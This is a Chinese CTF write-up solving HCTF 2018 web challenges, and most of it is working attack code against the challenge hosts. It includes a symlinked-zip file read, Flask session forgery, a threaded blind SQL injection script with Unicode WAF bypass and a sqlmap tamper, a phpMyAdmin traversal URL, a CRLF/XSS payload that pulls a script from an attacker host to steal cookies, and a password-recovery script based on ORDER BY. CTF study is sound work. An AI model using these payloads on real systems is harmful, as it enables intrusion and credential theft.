hide and seek
这个题上来看到cookie感觉有点像jwt,然后又要admin登陆
再加上文件上传的点提示有个secret,大概猜到是要读一个key伪造cookie登陆
zip后台是解析了的,所以一开始跑偏了,想到Zip Slip目录遍历漏洞
这里我没法判断是个什么语言的站(tcl
后来老大告知可以用软链接1
2ln -s /ect/passwd test
zip -y test.zip test
先知上有篇文章 https://xz.aliyun.com/t/2589
测试了一下确实可以读到东西
然后又不知道读什么,就卡住了
然后看一下配置文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
include /etc/nginx/conf.d/*.conf;
}
daemon off;
找了半天也没找到server
赛后看了wp发现知识面还是太窄了
这题我思路蛮清晰的,都知道大概要干嘛,但是面对黑盒真的不知道要读什么(要补一手开发/proc/self/environ
能读到uwsgi配置文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=323a960bcc1a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS
发现web目录,
接着读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
发现主文件/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
然后可以读到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
def logout():
session.pop('username', None)
return redirect(url_for('index'))
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
因为思路很清晰,就是要伪造admin登陆(开始还猜会不会是jwt
所以拿到源码就很容易了,这里是一个伪随机数
种子是uuid.getnode(),也就是机器的mac地址
mac地址读/sys/class/net/eth0/address后转10进制即可
知道了secret_key伪造session即可成功登录拿到flag
得到secret_key=11.935137566861131
尝试伪造session1
eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk
admin
change页面里有个github地址,做题还是要细心啊
拖下来审计一下1
2
3
4
5
6
7
8
9
10
11
12
13
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
问题主要出在这里name = strlower(session['name'])
这个函数在处理unicode字符时有一些问题
比如ᴬ会被转换为A,注册一个ᴬdmin用户,登录后为Admin,再修改密码则越权修改了admin的密码,登录看到flag
另外赛后看到还有条件竞争的解法,先放放…
kzone
访问会跳转官网
扫目录康康
可以看到www.zip有源码泄露,下载下来审计1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
问题出在json_decode会解编码,而过waf是在编码之前
所以我们可以用Unicode编码来过waf
上一个老大的板子(其实我康出来这是在晴晴的板子上改的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76import hashlib
import requests
import re
import random
import time
import threading
import binascii
from urllib import parse
def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()
url = "http://kzone.2018.hctf.io/admin/login.php"
def fuck(payload):
url1 = url
payload = payload.replace(' ', '/**/')
payload = payload.replace('if', '\\u0069f')
payload = payload.replace('or', 'o\\u0072')
payload = payload.replace('substr', 'su\\u0062str')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('=', '\\u003d')
payload = '{"admin_user":"%s"}' % payload
payload = parse.quote(payload)
cookies = {
"islogin": "1",
"login_data": payload
}
return requests.get(url1, cookies=cookies).headers['Set-Cookie']
def two(ind, cont, pos, result):
print("[pos %d start]" % pos)
payload = "' || if((ord(substr(({}),{},1)))>{},1,0)='1"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
text = fuck(payload.format(cont, pos, mid))
if len(text)==181: # True
l = mid + 1
else:
r = mid
result[pos] = chr(l)
print("[pos %d end]" % pos)
def sqli(cont):
print("[Start]")
sz = 60
res = [''] * (sz + 1)
t = [None] * sz
for i in range(1, sz + 1):
if i > sz:
t[i % sz].join()
t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
t[i % sz].start()
for th in t:
th.join()
return "".join(res)
# db = sqli("SELECT database()")
# print(db)
# hctf_kouzone
# tables = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='hctf_kouzone'")
# print(tables)
# F1444g,fish_admin,fish_ip,fish_user,fish_user_fake
# cols = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='F1444g'")
# print(cols)
# F1a9
flag = sqli("select group_concat(F1a9) from F1444g")
print(flag)
# hctf{4526a8cbd741b3f790f95ad32c2514b9}
然后看到了一个写tamper的姿势,一并记录下来
https://xz.aliyun.com/t/3245#toc-41
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload
无奈最后没能用tamper复现成功
还看到直接硬过了waf的神仙
用mysql.innodb_table_stats来查数据库名表名这种骚操作,然后用*代替列,想起来上次护网杯那道题,好像也能这么注
不复现了,最近比赛太多
Warmup
签到题
F12有个source.php
简单搜索下1
CVE-2018-12613 PhpMyadmin后台文件包含漏洞
直接上payloadhttp://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../../../../../ffffllllaaaagggg
bottle
p总博客上有(好吧我没认真看过
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
这题好像开始要绕csp,但是后来好像有点问题就改题了
只需要绕过302就行了
绕302,利用xss打cookie
payload1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/cookie.js%3E%3C/script%3E
game
/user.php?order=password该接口的order参数可指定当前页面输出的用户信息的排序字段。
大概就是order by password就行,根据返回的用户顺序去猜admin的密码
然后写脚本就成了
(放一个叶姐姐的脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92import random
import re
import requests
import string
VALID_IDENT = string.ascii_letters + string.digits
PASSLEN = 32
CRTAB6 = '\n' + '\t' * 6
CRTAB7 = '<td>\n' + '\t' * 7
ADMIN = f'{CRTAB7}1{CRTAB6}</td>{CRTAB6}{CRTAB7}admin{CRTAB6}</td>'
def randstr(length, charset=VALID_IDENT):
return ''.join([random.choice(charset) for n in range(length)])
def getuser():
return 'xris_' + randstr(32)
def register(username, password):
URL = 'http://game.2018.hctf.io/web2/action.php?action=reg'
OK = "<script>alert('success');location.href='index.html';</script>"
form = {
'username': username,
'password': password,
'sex': 1,
'submit': 'submit'
}
resp = requests.post(URL, data=form)
if resp.text != OK:
raise Exception(f'register failed with {resp.text}, {password}')
def login(username, password):
URL = 'http://game.2018.hctf.io/web2/action.php?action=login'
OK = "<script>alert('success');location.href='user.php';</script>"
sess = requests.Session()
form = {
'username': username,
'password': password,
'submit': 'submit',
}
resp = sess.post(URL, data=form)
if resp.text != OK:
raise Exception(f'login failed with {resp.text}, {password}')
return sess
def to_bytes(value, length):
retn = bytearray()
while value:
retn.append(value % 128)
value //= 128
retn.reverse()
return retn.ljust(length).decode()
def check(m):
URL = 'http://game.2018.hctf.io/web2/user.php?order=password'
username = getuser()
password = to_bytes(m, PASSLEN)
register(username, password)
sess = login(username, password)
resp = sess.get(URL)
adloc = resp.text.find(ADMIN)
mytag = f'{CRTAB7}{username}{CRTAB6}'
myloc = resp.text.find(mytag)
if adloc == -1 or myloc == -1:
# Should never happen
raise Exception('not found with {password}')
return myloc < adloc
def bsearch(lower, upper, check):
bound = [lower, upper]
while bound[0] + 1 != bound[1]:
m = bound[0] + bound[1] >> 1
bound[check(m)] = m
print(repr(to_bytes(m, 0)))
return bound[0]
def main():
print(bsearch(0, 128 ** PASSLEN, check))
if __name__ == '__main__':
main()
# DSA8&&!@#$%^&D1NGY1AS3DJA
order 参数可以传入 password, 二分 admin 密码.
虽然 MySQL 里比较运算符不区分大小写 (而且不能用 order by binary password 或 order by ascii(password), 被禁了). 不过最后输入 admin 密码的时候也不区分大小写.